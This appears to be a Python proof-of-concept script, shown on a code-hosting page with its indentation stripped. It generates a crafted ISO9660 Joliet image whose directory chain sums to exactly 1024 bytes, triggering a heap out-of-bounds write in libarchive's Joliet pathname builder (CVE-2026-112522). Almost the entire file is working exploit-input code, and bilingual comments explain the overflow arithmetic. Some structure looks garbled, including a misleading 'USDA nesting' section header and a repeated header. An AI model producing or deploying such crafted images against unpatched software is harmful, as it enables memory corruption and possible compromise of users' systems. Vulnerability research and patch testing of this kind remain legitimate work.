173 lines
6.8 KiB
Python
173 lines
6.8 KiB
Python
#!/usr/bin/env python3
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# arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
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# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
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#
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# [zh] ISO9660 Joliet 路径名堆溢出
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# build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/'，且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为
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# 1024 字节时，最深层回卷的写入落在 p[1024] 与 p[1025]，越过 malloc(1024) 两个字节，其中 0x002F 覆盖相邻堆块头。
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#
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# [en] ISO9660 Joliet pathname heap overflow
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# After recursively appending the parent path, build_pathname_utf16be unconditionally writes
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# a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When
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# a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025],
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# two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header.
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#
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# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
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# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112522.swift
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# triggers (run closures) & non-seed builders: CVE-2026-112522.swift in this folder
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import struct
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SECTOR = 2048
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# --------------------------------------------------------------------------- helpers
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def both16(v):
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return struct.pack("<H", v) + struct.pack(">H", v)
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def both32(v):
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return struct.pack("<I", v) + struct.pack(">I", v)
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# --------------------------------------------------------------------------- ISO9660 Joliet
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def build_joliet_iso():
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"""
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Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0).
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build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/'
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separator WITHOUT re-checking the running length against max (1024). A directory
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chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at
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p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer.
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Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E.
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Accumulated: 4*206 + 192 + 4*2 = 1024 exactly.
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"""
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names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96]
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# sector plan
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LBA_PVD = 16
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LBA_SVD = 17
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LBA_TERM = 18
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LBA_PT_ASCII = 19
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LBA_PT_JOLIET = 20
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LBA_ROOT = 21
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first_dir = LBA_ROOT + 1 # 22 .. 26
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LBA_FILE = first_dir + len(names) # 27
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total_sectors = LBA_FILE + 1
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img = bytearray(total_sectors * SECTOR)
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def put(lba, data):
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img[lba * SECTOR: lba * SECTOR + len(data)] = data
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# ---- path tables (type L, little endian extents)
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def path_table(encode):
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out = bytearray()
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entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)]
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for name, parent, extent in entries:
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nb = encode(name) if name else b"\x00"
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rec = bytes([len(nb), 0]) + struct.pack("<I", extent) + struct.pack("<H", parent) + nb
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if len(rec) % 2:
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rec += b"\x00"
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out += rec
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return bytes(out)
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pt_ascii = path_table(lambda s: s.encode("ascii"))
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pt_joliet = path_table(ucs2)
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put(LBA_PT_ASCII, pt_ascii)
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put(LBA_PT_JOLIET, pt_joliet)
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# ---- directories
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def build_dir(lba, parent_lba, children):
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"""children: list of (name_bytes, extent, size, flags)"""
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body = bytearray()
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body += dir_record(b"\x00", lba, SECTOR, 0x02) # '.'
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body += dir_record(b"\x01", parent_lba, SECTOR, 0x02) # '..'
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for nb, ext, size, flags in children:
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body += dir_record(nb, ext, size, flags)
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return pad_to(bytes(body), SECTOR)
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# root contains A
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put(LBA_ROOT, build_dir(LBA_ROOT, LBA_ROOT,
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[(ucs2(names[0]), first_dir, SECTOR, 0x02)]))
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for i, name in enumerate(names):
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lba = first_dir + i
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parent = LBA_ROOT if i == 0 else first_dir + i - 1
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kids = []
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if i + 1 < len(names):
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kids.append((ucs2(names[i + 1]), first_dir + i + 1, SECTOR, 0x02))
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else:
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kids.append((ucs2("F"), LBA_FILE, 0, 0x00))
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put(lba, build_dir(lba, parent, kids))
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put(LBA_FILE, b"")
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# ---- volume descriptors
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def volume_descriptor(kind, joliet, root_lba, pt_lba, pt_size):
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d = bytearray(2048)
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d[0] = kind
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d[1:6] = b"CD001"
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d[6] = 1
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if joliet:
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d[8:8 + 32] = ucs2("CINDER27".ljust(16))
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d[40:40 + 32] = ucs2("JOLIET-OOB".ljust(16))
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else:
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d[8:8 + 32] = b"CINDER27".ljust(32, b" ")
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d[40:40 + 32] = b"JOLIET-OOB".ljust(32, b" ")
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d[80:88] = both32(total_sectors)
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d[120:124] = both16(1) # volume set size
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d[124:128] = both16(1) # volume sequence number
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d[128:132] = both16(SECTOR) # logical block size
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d[132:140] = both32(pt_size) # path table size (both endian)
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d[140:144] = struct.pack("<I", pt_lba) # type-L path table location
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d[144:148] = struct.pack("<I", 0) # optional type-L
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d[148:152] = struct.pack(">I", 0) # type-M (unused)
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d[152:156] = struct.pack(">I", 0) # optional type-M
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# root directory record at offset 156
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root = dir_record(b"\x00", root_lba, SECTOR, 0x02)
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d[156:156 + len(root)] = root
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d[881] = 1 # file structure version
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if joliet:
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d[88:88 + 3] = b"%/E" # escape sequence
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return bytes(d)
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put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii)))
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put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet)))
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term = bytearray(2048)
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term[0] = 255
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term[1:6] = b"CD001"
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term[6] = 1
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put(LBA_TERM, bytes(term))
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return bytes(img)
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# --------------------------------------------------------------------------- USDA nesting
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def dir_record(name_bytes, extent, size, flags):
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"""ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent)."""
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body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1)
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rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes
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if len(rec) % 2:
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rec += b"\x00"
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rec = bytes([len(rec)]) + rec[1:]
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return rec
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def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0):
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return bytes([y - 1900, mo, d, h, mi, s, 0])
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def pad_to(data, n):
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if len(data) < n:
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data = data + b"\x00" * (n - len(data))
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return data[:n]
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def ucs2(name):
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return name.encode("utf-16-be")
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# --------------------------------------------------------------------------- ISO9660 Joliet
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if __name__ == "__main__":
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import sys
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out = sys.argv[1] if len(sys.argv) > 1 else "joliet_path_oob.iso"
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open(out, "wb").write(build_joliet_iso())
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print("wrote", out)
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